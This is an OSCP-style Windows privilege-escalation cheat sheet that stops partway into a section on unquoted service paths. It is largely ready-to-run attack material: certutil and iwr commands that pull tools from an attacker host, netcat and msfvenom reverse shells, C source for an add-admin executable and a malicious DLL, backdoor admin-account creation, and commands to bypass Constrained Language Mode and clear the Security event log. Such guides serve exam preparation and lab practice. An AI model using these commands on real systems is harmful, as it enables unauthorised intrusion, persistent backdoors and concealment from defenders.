00:00 ⚡ TokenPriv
KALI_IP
PORT
RPORT
TARGET
USER
PASS
DOMAIN
WPATH
SVCBIN
SVCDIR
TASKBIN
DC_FQDN
BD_USER
BD_PASS
LFILE
🐘 Shell Stabilization
Think Simpler First
Before running exploits - check the basics
EXAM TIPS

💡 OSCP+ Mindset

  • Default creds: Try admin:admin, administrator:password, root:root, user:user FIRST before anything else
  • Check OS and arch: ALWAYS run systeminfo before executing any exploit binary - x64 exploit on x86 = instant fail
  • PS History: Read all PSReadline history files before spending hours on privesc - passwords get typed in commands all the time
  • Cleartext creds: Search config files, web roots, registry autologon, VNC configs before running exploit tools
  • Multiple failures = go back to basics: If 3+ vectors fail, do a fresh enum pass - you missed something
  • Public exploits: Check exploit-db, GitHub, Google for the exact OS/software version before writing your own
  • Not Try Harder - Think Simpler: The easy path that "feels wrong" is usually the right one on OSCP
  • Architecture check: winPEAS shows this - use 32-bit tool on 32-bit OS, 64-bit on 64-bit. Check before running exploits
  • SeImpersonate = potato: If you see this in whoami /priv → immediately go to GodPotato
  • Disabled tokens: Tokens that show "Disabled" can STILL be enabled and exploited - don't ignore them
Common Fails JuicyPotato DOES NOT work on Server 2019 / Win10 1809+. Always check build number before picking a potato. Use GodPotato as default - it works on almost everything.
Quick OS Check Run systeminfo | findstr /i /c:"OS Name" /c:"Build" /c:"Architecture" first. Build 17763 = Server 2019 / Win10 1809.
7.1
Enumeration
Start here - always enumerate before guessing attack vectors
ENUM
Tip: Run winPEAS First Transfer winPEASx64.exe and run it immediately. Then read through this section to manually verify interesting findings.
TRANSFER - download enumeration tools to target (Kali HTTP server must be running)
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/winPEASx64.exe -Outfile {{WPATH}}\winPEAS.exe
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/SharpUp.exe -Outfile {{WPATH}}\SharpUp.exe
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/Seatbelt.exe -Outfile {{WPATH}}\Seatbelt.exe
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/nc64.exe -Outfile {{WPATH}}\nc64.exe
certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/winPEASx64.exe {{WPATH}}\winPEAS.exe - CMD (no PS)
User & System Context
Current user + all privileges and groups
whoami /all
whoami - quick username only
whoami /priv - privileges only (critical for token abuse)
whoami /groups - group memberships
echo %USERNAME% - CMD fallback
Detailed OS info - build number, architecture, hotfixes
systeminfo
systeminfo | findstr /i /c:"OS Name" /c:"OS Version" /c:"Build" /c:"Architecture"
wmic os get Caption,Version,BuildNumber,OSArchitecture
Get-ComputerInfo
All local users
Get-LocalUser
net user
wmic useraccount list brief
Get-WmiObject -Class Win32_UserAccount | Select Name,SID,Disabled
Local administrators group members
Get-LocalGroupMember -GroupName 'Administrators'
net localgroup Administrators
Get-LocalGroup - list all groups
Running services with their paths (look for non-System32 paths)
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -eq 'Running'}
wmic service get name,pathname,startmode,startname
sc query state= all
Running processes with paths
Get-Process | Select ProcessName,Path,Id
tasklist /v
Get-WmiObject Win32_Process | Select Name,ProcessId,CommandLine
Scheduled tasks
schtasks /query /fo LIST /v
Get-ScheduledTask | Select TaskName,TaskPath,State | Where-Object {$_.State -ne 'Disabled'}
Network connections - look for 127.0.0.1 listeners
netstat -ano
netstat -ano | findstr LISTEN
Get-NetTCPConnection | Where-Object {$_.State -eq 'Listen'} | Select LocalAddress,LocalPort,OwningProcess
Installed applications (32-bit)
Get-ItemProperty -Path 'HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*' | Select DisplayName,DisplayVersion | Sort DisplayName
Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*' | Select DisplayName,DisplayVersion - 64-bit
wmic product get name,version
Hotfixes - find missing patches for kernel exploits
wmic qfe list brief
Get-HotFix | Select HotFixID,InstalledOn | Sort InstalledOn -Desc
systeminfo | findstr /i KB
PowerShell version (affects exploit compatibility)
$PSVersionTable.PSVersion
Language Mode - CLM blocks many PS attacks
$ExecutionContext.SessionState.LanguageMode
# FullLanguage = unrestricted | ConstrainedLanguage = CLM active → use .exe tools instead
⚠️ CLM (Constrained Language Mode) - Import-Module & IEX will FAIL Import-Module and Invoke-Expression are blocked in CLM. Use these alternatives instead:
# 1. Dot-source instead of Import-Module (works in CLM for many scripts):
. .\PowerUp.ps1; Invoke-AllChecks

# 2. Use C# .exe equivalents - NOT affected by CLM:
SharpUp.exe audit           # PowerUp alternative
winPEAS.bat                 # winPEAS when .exe is blocked
Seatbelt.exe -group=all     # host survey

# 3. PS v2 downgrade (bypasses CLM if v2 is installed):
powershell.exe -Version 2 -ExecutionPolicy bypass
# Check if available: Test-Path "HKLM:\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine"

# 4. WMI spawn new unrestricted session (registry bypass):
Set-ItemProperty -Path 'hkcu:\Environment' -Name Tmp -Value "C:\windows\temp"
Invoke-WmiMethod -Class win32_process -Name create -ArgumentList "Powershell.exe"
# Restore: Set-ItemProperty -Path 'hkcu:\Environment' -Name Tmp -Value $env:tmp

# 5. Path trick - rename script to include "system32" in path:
copy PowerUp.ps1 "C:\windows\temp\system32.ps1"
. C:\windows\temp\system32.ps1; Invoke-AllChecks
Defender exclusions - drop tools in excluded paths
Get-MpPreference | Select ExclusionPath,ExclusionProcess
reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths"
AppLocker policy - find allowed paths for execution
Get-AppLockerPolicy -Effective | Select -ExpandProperty RuleCollections
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\SrpV2
📝 Notes (click to expand)
7.2
Finding Files & Credentials
Hunt for creds, configs, and interesting files
ENUMCREDS
Think Simpler Check Users folder, IIS web root, XAMPP configs, and registry autologon BEFORE running automated tools.
Everything in the Users folder
Get-ChildItem -Path C:\Users\ -Include *.* -File -Recurse -ErrorAction SilentlyContinue
dir C:\Users /s /b - CMD
KeePass databases (.kdbx) - password manager
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
where /r C:\ *.kdbx 2>nul
XAMPP config files
Get-ChildItem -Path C:\xampp -Include *.txt,*.ini,*.conf,*.php -File -Recurse -ErrorAction SilentlyContinue
Backup/old/temp files - often contain creds
Get-ChildItem -Path C:\Users -Include *.bak,*.old,*.tmp,*.swp,*.sav -File -Recurse -ErrorAction SilentlyContinue
Web root config files (IIS)
Get-ChildItem -Path C:\inetpub\wwwroot -Include *.config,*.xml,*.ini,*.php -File -Recurse -ErrorAction SilentlyContinue
type C:\inetpub\wwwroot\web.config 2>nul
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config 2>nul | findstr connectionString
TRANSFER - download to target (Kali HTTP server must be running)
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/accesschk.exe -Outfile {{WPATH}}\accesschk.exe
certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/accesschk.exe {{WPATH}}\accesschk.exe - CMD (no PS)
TRANSFER - download to target (Kali HTTP server must be running)
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/RunasCs.exe -Outfile {{WPATH}}\RunasCs.exe
certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/RunasCs.exe {{WPATH}}\RunasCs.exe - CMD (no PS)
Writable directories (for dropping tools)
icacls C:\ /T /C 2>nul | findstr /i /c:"(F)" /c:"(M)" /c:"(W)" | findstr /i /c:"Users" /c:"Everyone"
# (F)=FullControl, (M)=Modify (can replace binary!), (W)=Write. All three mean writable.
{{WPATH}}\accesschk.exe -uwdqs Users C:\ 2>nul
{{WPATH}}\accesschk.exe -uwdqs "Everyone" C:\ 2>nul
Run CMD as a different user (if you know creds)
runas /user:{{DOMAIN}}\{{USER}} cmd
{{WPATH}}\RunasCs.exe {{USER}} {{PASS}} cmd.exe - no interactive prompt
RunasCs.exe {{USER}} {{PASS}} "{{WPATH}}\nc64.exe -e cmd.exe {{KALI_IP}} {{RPORT}}" - rev shell
📝 Notes
7.3
PowerShell Goldmine (Logs & History)
PS history files contain typed passwords - check FIRST
CREDS 💰ENUM
💰 GOLDMINE ALERT PSReadline history files contain EVERY command typed - including passwords passed as arguments. Check ALL users' history before spending time on exploit research.
Read ALL users PS history at once (best command)
Get-ChildItem C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt -ErrorAction SilentlyContinue | ForEach-Object { Write-Output "=== $($_.Directory.Parent.Parent.Parent.Parent.Name) ==="; Get-Content $_ }
type C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt 2>nul - CMD
forfiles /P C:\Users /S /M ConsoleHost_history.txt /C "cmd /c type @path" 2>nul - CMD foreach
Find the history file path for current user
(Get-PSReadlineOption).HistorySavePath
Current session command history
Get-History
doskey /history - CMD history
Script: enumerate all users' history with paths
$userProfiles = Get-ChildItem -Path C:\Users -Directory
foreach ($profile in $userProfiles) {
    $historyPath = Join-Path -Path $profile.FullName -ChildPath "AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
    if (Test-Path $historyPath) {
        Write-Output "=== User: $($profile.Name) ==="
        Write-Output "Path: $historyPath"
        Write-Output "---"
        Get-Content -Path $historyPath
        Write-Output ""
    }
}
📝 Notes
7.4
Token Privileges (whoami /priv)
Disabled tokens can be enabled. BOTH enabled and disabled tokens can be abused.
PRIVESC
⚠ Critical Rule Tokens that show as "Disabled" in whoami /priv can still be enabled and abused. Never dismiss disabled tokens. Run EnableAllTokenPrivs.ps1 before deciding a token is unusable.
TRANSFER - download token abuse tools to target
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/FullPowers.exe -Outfile {{WPATH}}\FullPowers.exe
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/SeManageVolumeExploit.exe -Outfile {{WPATH}}\SeManageVolumeExploit.exe
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/RunasCs.exe -Outfile {{WPATH}}\RunasCs.exe
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/GodPotato-NET4.exe -Outfile {{WPATH}}\GodPotato-NET4.exe
certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/FullPowers.exe {{WPATH}}\FullPowers.exe - CMD
Check ALL privileges (enabled AND disabled)
whoami /priv
whoami /all - includes groups too
Enable ALL disabled tokens - run this first if tokens are disabled
{{WPATH}}\EnableAllTokenPrivs.ps1
EnableAllTokenPrivs.ps1 - full script (copy and save to victim)
$definition = @'
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Runtime.InteropServices;

namespace Set_TokenPermission {
    public class SetTokenPriv {
        [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
        internal static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall, ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen);
        [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
        internal static extern bool OpenProcessToken(IntPtr h, int acc, ref IntPtr phtok);
        [DllImport("advapi32.dll", SetLastError = true)]
        internal static extern bool LookupPrivilegeValue(string host, string name, ref long pluid);
        [StructLayout(LayoutKind.Sequential, Pack = 1)]
        internal struct TokPriv1Luid { public int Count; public long Luid; public int Attr; }
        internal const int SE_PRIVILEGE_ENABLED = 0x00000002;
        internal const int TOKEN_QUERY = 0x00000008;
        internal const int TOKEN_ADJUST_PRIVILEGES = 0x00000020;
        public static void EnablePrivilege() {
            bool retVal;
            TokPriv1Luid tp;
            IntPtr hproc = Process.GetCurrentProcess().Handle;
            IntPtr htok = IntPtr.Zero;
            List<string> privs = new List<string>() {
                "SeAssignPrimaryTokenPrivilege", "SeAuditPrivilege", "SeBackupPrivilege",
                "SeChangeNotifyPrivilege", "SeCreateGlobalPrivilege", "SeCreatePagefilePrivilege",
                "SeCreatePermanentPrivilege", "SeCreateSymbolicLinkPrivilege", "SeCreateTokenPrivilege",
                "SeDebugPrivilege", "SeEnableDelegationPrivilege", "SeImpersonatePrivilege",
                "SeIncreaseBasePriorityPrivilege", "SeIncreaseQuotaPrivilege", "SeIncreaseWorkingSetPrivilege",
                "SeLoadDriverPrivilege", "SeLockMemoryPrivilege", "SeMachineAccountPrivilege",
                "SeManageVolumePrivilege", "SeProfileSingleProcessPrivilege", "SeRelabelPrivilege",
                "SeRemoteShutdownPrivilege", "SeRestorePrivilege", "SeSecurityPrivilege",
                "SeShutdownPrivilege", "SeSyncAgentPrivilege", "SeSystemEnvironmentPrivilege",
                "SeSystemProfilePrivilege", "SeSystemtimePrivilege", "SeTakeOwnershipPrivilege",
                "SeTcbPrivilege", "SeTimeZonePrivilege", "SeTrustedCredManAccessPrivilege",
                "SeUndockPrivilege", "SeUnsolicitedInputPrivilege", "SeDelegateSessionUserImpersonatePrivilege"
            };
            retVal = OpenProcessToken(hproc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ref htok);
            tp.Count = 1; tp.Luid = 0; tp.Attr = SE_PRIVILEGE_ENABLED;
            foreach (var priv in privs) {
                retVal = LookupPrivilegeValue(null, priv, ref tp.Luid);
                retVal = AdjustTokenPrivileges(htok, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
            }
        }
    }
}
'@
$type = Add-Type $definition -PassThru
$type[0]::EnablePrivilege() 2>&&1
TRANSFER - download to target (Kali HTTP server must be running)
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/FullPowers.exe -Outfile {{WPATH}}\FullPowers.exe
certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/FullPowers.exe {{WPATH}}\FullPowers.exe - CMD (no PS)
FullPowers.exe - recover service account default privileges
{{WPATH}}\FullPowers.exe
{{WPATH}}\FullPowers.exe -x - extended set
{{WPATH}}\FullPowers.exe -c "powershell -ep Bypass" - specify command
.\FullPowers.exe -c "{{WPATH}}\nc64.exe {{KALI_IP}} {{RPORT}} -e cmd" -z - rev shell
Token Privileges Reference Table
TokenImpactExploit Path
SeImpersonatePrivilegeADMINPotato family: GodPotato (try first), PrintSpoofer, SweetPotato, SigmaPotato → see §7.14
SeAssignPrimaryTokenPrivilegeADMINSame as SeImpersonate - use Potato exploits
SeBackupPrivilegeADMINreg save HKLM\SAM + HKLM\SYSTEM → secretsdump → PTH. Also: read any file with robocopy /b
SeRestorePrivilegeADMINReplace utilman.exe with cmd.exe → Win+U at lock screen. OR use SeRestoreAbuse.exe
SeDebugPrivilegeADMINSeDebugPrivesc.exe <SYSTEM_PID> cmd.exe OR dump LSASS → extract hashes
SeManageVolumePrivilegeADMINSeManageVolumeExploit.exe → write tzres.dll to System32\wbem\ → trigger with systeminfo
SeTakeOwnershipPrivilegeADMINtakeown /f C:\Windows\System32 → icacls grant Full → replace utilman.exe
SeLoadDriverPrivilegeADMINLoad vulnerable kernel driver (szkg64.sys CVE-2018-15732) → exploit
SeCreateTokenPrivilegeADMINNtCreateToken → create arbitrary token with local admin rights
SeTcbPrivilegeADMINManipulate tokens to include local admin rights
SeTrustedCredManAccessPrivilegeTHREATDump credentials from Credential Manager
SeSecurityPrivilegeTHREATClear/shrink Security event log: wevtutil cl Security
SeAuditPrivilegeTHREATWrite fake events to Security log to fool auditing
⚠ Service Account Detected? Run FullPowers First
⚠ LOCAL SERVICE / NETWORK SERVICE - SeImpersonate is stripped by default IIS AppPool, MSSQL, and other service accounts run as NT AUTHORITY\LOCAL SERVICE or NETWORK SERVICE and have SeImpersonatePrivilege removed from the token at runtime. Potatoes will fail silently. Run FullPowers first to restore all default privileges before attempting any potato exploit.
Detect - am I a service account?
whoami
# If output is: NT AUTHORITY\LOCAL SERVICE  or  NT AUTHORITY\NETWORK SERVICE → run FullPowers first
Restore stripped privileges with FullPowers
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/FullPowers.exe -Outfile {{WPATH}}\FullPowers.exe
{{WPATH}}\FullPowers.exe -c "{{WPATH}}\GodPotato-NET4.exe -cmd cmd" -z
{{WPATH}}\FullPowers.exe -c "{{WPATH}}\GodPotato-NET4.exe -cmd \"net user backdoor Pass123! /add && net localgroup administrators backdoor /add\"" - add admin user
{{WPATH}}\FullPowers.exe -c "{{WPATH}}\nc64.exe {{KALI_IP}} {{RPORT}} -e cmd" -z - reverse shell with full privs
{{WPATH}}\FullPowers.exe -x - show extended privilege set after restore
💡 One-liner shortcut (when you know you're a service account): After FullPowers re-enables SeImpersonate, any potato works: FullPowers.exe -c "GodPotato-NET4.exe -cmd whoami" - if output is nt authority\system you're done.
📝 Notes
7.5
Service Binary Hijacking
Replace a service binary with a malicious one if you have write access
PRIVESC
Tip: Look for Out-of-Place Paths Services in C:\Windows\System32 are almost never exploitable. Look for services running from C:\Program Files\CustomApp\, C:\Users\, C:\Temp\, or any user-created directory. You need: (1) write access to the binary, AND (2) ability to restart the service (or wait for reboot).
✎ Fill varbar before using commands below: Set SVCBIN = full path to the vulnerable service binary you discovered (e.g. C:\Program Files\CustomApp\svc.exe). All commands in this section auto-update.
TRANSFER - download tools to target first
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/accesschk.exe -Outfile {{WPATH}}\accesschk.exe
iwr -uri http://{{KALI_IP}}:{{PORT}}/scripts/PowerUp.ps1 -Outfile {{WPATH}}\PowerUp.ps1
iwr -uri http://{{KALI_IP}}:{{PORT}}/scripts/Accesschk.ps1 -Outfile {{WPATH}}\Accesschk.ps1
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/SharpUp.exe -Outfile {{WPATH}}\SharpUp.exe
certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/accesschk.exe {{WPATH}}\accesschk.exe - CMD
certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/scripts/Accesschk.ps1 {{WPATH}}\Accesschk.ps1 - PS alternative (no EXE)
1. DETECT - find non-system services
List running services with non-Windows paths
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -eq 'Running'} | Where-Object {$_.PathName -notlike "*System32*"}
Alternative: wmic (works in cmd.exe)
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\" | findstr /i /v """"
Can current user restart services? (needed for reliable trigger)
whoami /groups | findstr /i /c:"Administrat" /c:"Service" /c:"Power"
sc.exe query type= all state= all | findstr /i "SERVICE_NAME"
2. CONFIRM - verify write access to the binary
Check file permissions - look for (W) or (F) for current user/groups
icacls "{{SVCBIN}}"
accesschk deep-dive - (W) = writeable, (F) = full control
{{WPATH}}\accesschk.exe -uwcqv "Everyone" * /accepteula
{{WPATH}}\accesschk.exe -uwcqv "Users" * /accepteula
{{WPATH}}\accesschk.exe -uwcqv "Authenticated Users" * /accepteula
⚠️ accesschk version matters: New versions removed /accepteula flag - running without it pops a GUI dialog and freezes your CLI shell. Use the older v5.x from Sysinternals that still supports /accepteula. If you get no output or a hang → kill it and use icacls or winPEAS instead.
ALTERNATIVE: Accesschk.ps1 - pure PowerShell, no EXE, no hang (use when accesschk.exe fails)
powershell -ep bypass -f {{WPATH}}\Accesschk.ps1
powershell -ep bypass -f {{WPATH}}\Accesschk.ps1 -Mode services - writable service binaries/dirs
powershell -ep bypass -f {{WPATH}}\Accesschk.ps1 -Mode dirs -Target C:\ -Recurse - writable dirs under C:\
powershell -ep bypass -f {{WPATH}}\Accesschk.ps1 -Mode registry - writable service registry keys
powershell -ep bypass -f {{WPATH}}\Accesschk.ps1 -Mode path -Target "C:\Program Files\App\svc.exe" - check specific file
powershell -ep bypass -f {{WPATH}}\Accesschk.ps1 -Mode all - run all checks
Confirm service start mode - AUTO means it restarts on reboot
sc.exe qc <ServiceName>
Get-CimInstance -ClassName win32_service | Select Name,StartMode,State | Where-Object {$_.Name -eq '<ServiceName>'}
KALI - prepare payload
Option A: Add admin user - create source file and compile
cat > /tmp/adduser.c << 'EOF'
#include <stdlib.h>
int main() {
    system("net user pwned Password123! /add");
    system("net localgroup Administrators pwned /add");
    return 0;
}
EOF
x86_64-w64-mingw32-gcc /tmp/adduser.c -o ~/privesc-toolkit/shell.exe
Option B: Reverse shell payload (catch with nc -lvnp {{RPORT}})
msfvenom -p windows/x64/shell_reverse_tcp LHOST={{KALI_IP}} LPORT={{RPORT}} -f exe -o ~/privesc-toolkit/shell.exe
BACKUP - save original binary (ALWAYS do this first)
Save original - you can restore later with the RESTORE step below
copy "{{SVCBIN}}" "{{SVCBIN}}.bak"
# Confirm backup exists:
dir "{{SVCBIN}}.bak"
3. EXPLOIT - replace binary and trigger
Transfer payload and replace service binary
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/shell.exe -Outfile {{WPATH}}\shell.exe
copy {{WPATH}}\shell.exe "{{SVCBIN}}"
Trigger: restart the service (try in this order)
Restart-Service -Name '<ServiceName>' -Force
# If "Access Denied" on Restart-Service:
sc.exe stop <ServiceName>; sc.exe start <ServiceName>
# If sc stop/start also "Access Denied" - check if AUTO_START, then reboot:
shutdown /r /t 0
# If immediate reboot needed and system comes back - reconnect, payload executes on boot
4. VERIFY - confirm privilege escalation
# If adduser payload:
net user pwned
net localgroup Administrators
# If rev shell payload: check your nc listener for SYSTEM shell
whoami
RESTORE - undo everything (use if something breaks)
Restore original binary from backup
sc.exe stop <ServiceName>
copy "{{SVCBIN}}.bak" "{{SVCBIN}}"
sc.exe start <ServiceName>
# Verify service is back:
Get-CimInstance win32_service | Where-Object {$_.Name -eq '<ServiceName>'}
Cleanup created user (if adduser payload was used)
net user pwned /delete
Binary Analysis - strings / flare-floss / dnSpy
Why analyze before replacing? Static analysis reveals commands called without full paths (PATH hijack opportunities), hardcoded credentials, and whether it's a .NET binary (use dnSpy).
Extract strings - find hardcoded paths and called commands (Kali)
strings ServiceBinary.exe | grep -iE "\.exe|\.dll|cmd|powershell|C:\\"
# Commands with NO leading path (e.g. "backup.exe") = vulnerable to PATH hijacking
On Windows target with Sysinternals strings.exe
{{WPATH}}\strings.exe "{{SVCBIN}}" | findstr /i "\.exe cmd powershell"
flare-floss - finds obfuscated/encoded strings (run on Kali)
flare-floss ServiceBinary.exe | grep -i "cmd\|powershell\|path\|pass"
dnSpy - .NET binary decompilation (GUI, Windows)
# Check if .NET binary: file ServiceBinary.exe | grep -i ".NET\|MSIL"
# Open in dnSpy → right-click Assembly → Edit Method → find Process.Start, Registry reads, hardcoded strings
# Look for: Assembly.Load, Process.Start("cmd.exe", ...), File.ReadAllText with paths
Automation with PowerUp
⚠️ Common Failures: (1) Import-Module PowerUp.ps1 fails in CLM → use . .\PowerUp.ps1 (dot-source) instead. (2) Invoke-ServiceAbuse (AutoPwn) is prohibited in OSCP exam - use Install-ServiceBinary manually. (3) If PowerUp fails entirely due to CLM → use SharpUp.exe audit (C# binary, bypasses CLM).
Find all writable service binaries automatically
iwr -uri http://{{KALI_IP}}:{{PORT}}/scripts/PowerUp.ps1 -Outfile {{WPATH}}\PowerUp.ps1
powershell -ep bypass
. {{WPATH}}\PowerUp.ps1          # dot-source - NOT Import-Module
Get-ModifiableServiceFile
Invoke-AllChecks
CLM fallback - SharpUp (same checks as PowerUp, C# binary)
{{WPATH}}\SharpUp.exe audit
# Outputs: ModifiableServices, UnquotedPaths, ModifiableServiceBinaries, etc.
Install-ServiceBinary (manual exploit - allowed in exam)
Install-ServiceBinary -Name '<ServiceName>'
# Undo PowerUp change:
Restore-ServiceBinary -Name '<ServiceName>'
Alternative: sc config binPath= (if you have SERVICE_CHANGE_CONFIG rights)
⚠️ Critical syntax: There MUST be a SPACE after binPath= - without it you get "system cannot find the file" error.
Check if you can change service config (requires SERVICE_CHANGE_CONFIG)
{{WPATH}}\accesschk.exe -uwcqv "{{USER}}" <ServiceName> /accepteula
# Look for: SERVICE_CHANGE_CONFIG or SERVICE_ALL_ACCESS
BACKUP - save current binPath to file before changing
for /f "tokens=*" %i in ('sc qc ^<ServiceName^> ^| findstr BINARY') do echo %i > {{WPATH}}\svc_original_binpath.txt
REM Save original binPath before changing it - read with: type {{WPATH}}\svc_original_binpath.txt
EXPLOIT - point service at your payload (NOTE the SPACE after binPath=)
sc.exe config <ServiceName> binPath= "{{WPATH}}\shell.exe"
sc.exe stop <ServiceName>
sc.exe start <ServiceName>
Alternative - run nc64 directly (no file transfer needed)
sc.exe config <ServiceName> binPath= "cmd /c {{WPATH}}\nc64.exe -e cmd.exe {{KALI_IP}} {{RPORT}}"
sc.exe stop <ServiceName> && sc.exe start <ServiceName>
RESTORE - repoint to original binary
sc.exe stop <ServiceName>
sc.exe config <ServiceName> binPath= "C:\OriginalPath\OriginalBinary.exe"
sc.exe start <ServiceName>
📝 Notes
7.6
Service DLL Hijacking
Windows DLL search order - plant a malicious DLL in a searched path
PRIVESC
DLL Search Order (Windows loads DLLs in this order) 1) App directory → 2) C:\Windows\System32 → 3) C:\Windows\System → 4) C:\Windows → 5) Current dir → 6) PATH entries (left to right). Goal: Find a service that loads a DLL marked "NAME NOT FOUND" in ProcMon and place yours in a directory that's searched BEFORE the real DLL location - or in the app directory if you can write there.
💡 Manual method works on the exam. ProcMon helps on a test VM, but you can find hijackable DLLs manually: check if the service app directory is writable (most common), or if a writable PATH dir exists before System32. Common missing DLLs: version.dll, wlbsctrl.dll, wtsapi32.dll, wow64log.dll, msi.dll.
✎ Fill varbar before using commands below: Set SVCDIR = service application directory (e.g. C:\Program Files\CustomApp). All commands in this section auto-update.
TRANSFER - compile malicious DLL on Kali (no target download needed for DLL itself)
# On Kali - compile DLL payload:
msfvenom -p windows/x64/shell_reverse_tcp LHOST={{KALI_IP}} LPORT={{RPORT}} -f dll -o ~/privesc-toolkit/<MissingDLL>.dll
# Then serve and pull onto target:
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/<MissingDLL>.dll -Outfile {{WPATH}}\<MissingDLL>.dll
1. DETECT - find services with non-system paths and writable locations
List running services with non-system paths (PS)
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'} | Where-Object {$_.PathName -notlike "*System32*"}
CMD equivalent
wmic service get name,pathname,startmode | findstr /i "auto" | findstr /iv "system32"
Check all directories in %PATH% for writability (CMD - no tools needed)
for %d in (%PATH%) do @icacls "%d" 2>nul | findstr /i /c:"(F)" /c:"(M)" /c:"(W)" && echo WRITABLE: %d
# findstr /c: = literal match. (F)=FullControl (M)=Modify (W)=Write. All mean writable.
PowerShell PATH writability check
$env:PATH.Split(';') | ForEach-Object {
  try { [System.IO.File]::Create("$_\test_w.tmp").Close(); Remove-Item "$_\test_w.tmp" -EA SilentlyContinue; Write-Host "WRITABLE: $_" }
  catch {}
}
2. CONFIRM - verify write access and identify which DLL is missing
Check write access to service app directory (CMD)
icacls "{{SVCDIR}}" 2>nul | findstr /i /c:"(F)" /c:"(M)" /c:"(W)"
# (M)=Modify is the most common writable flag - critical to include, not just (W)
# (W) or (F) for Users or Everyone = writable
List DLLs in the service directory - gaps are candidates
dir "{{SVCDIR}}\*.dll"
# Common hijackable DLLs when missing: version.dll, wlbsctrl.dll, wtsapi32.dll
Confirm two conditions for exploitability
# 1) DLL is not in the service directory (or app dir)
dir "{{SVCDIR}}\version.dll" 2>nul || echo "Missing - candidate"
# 2) You can write to the service app dir OR to a PATH dir that comes before System32
echo %PATH%
icacls "C:\writable\path" 2>nul
KALI - compile malicious DLL
Option A: Add admin user DLL - full source + compile
cat > /tmp/evil.cpp << 'EOF'
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved) {
    if (reason == DLL_PROCESS_ATTACH) {
        system("net user pwned Password123! /add");
        system("net localgroup Administrators pwned /add");
    }
    return TRUE;
}
EOF
x86_64-w64-mingw32-g++ /tmp/evil.cpp --shared -o ~/privesc-toolkit/TargetDLL.dll
Option B: Reverse shell DLL (catch on Kali: nc -lvnp {{RPORT}})
msfvenom -p windows/x64/shell_reverse_tcp LHOST={{KALI_IP}} LPORT={{RPORT}} -f dll -o ~/privesc-toolkit/TargetDLL.dll
Rename to match the missing DLL name from ProcMon
cp ~/privesc-toolkit/TargetDLL.dll ~/privesc-toolkit/<MissingDLL>.dll
BACKUP - record drop location (DLL may not exist yet)
If a real DLL exists at the drop location, back it up first
# Check if DLL already exists at target location:
dir "{{SVCDIR}}\<MissingDLL>.dll"
# If it exists - back it up:
copy "{{SVCDIR}}\<MissingDLL>.dll" "{{SVCDIR}}\<MissingDLL>.dll.bak"
3. EXPLOIT - drop DLL and trigger service
Transfer and place the malicious DLL
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/<MissingDLL>.dll -Outfile "{{WPATH}}\<MissingDLL>.dll"
copy "{{WPATH}}\<MissingDLL>.dll" "{{SVCDIR}}\<MissingDLL>.dll"
Trigger: restart service to load the DLL
Restart-Service -Name '<ServiceName>' -Force
# OR:
sc.exe stop <ServiceName>; sc.exe start <ServiceName>
4. VERIFY - confirm escalation
# If adduser payload:
net user pwned
net localgroup Administrators
# If rev shell: check nc listener
whoami
RESTORE - remove malicious DLL and restore service
Stop service, delete malicious DLL, restore backup if one existed
sc.exe stop <ServiceName>
del "{{SVCDIR}}\<MissingDLL>.dll"
# If backup existed:
copy "{{SVCDIR}}\<MissingDLL>.dll.bak" "{{SVCDIR}}\<MissingDLL>.dll"
sc.exe start <ServiceName>
Cleanup created user
net user pwned /delete
📝 Notes
7.7
Unquoted Service Paths
Windows path resolution splits at spaces - place malicious exe at the split point
PRIVESC
TRANSFER - download payload and accesschk to target
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/accesschk.exe -Outfile {{WPATH}}\accesschk.exe
# Your malicious exe - generate on Kali first, then serve:
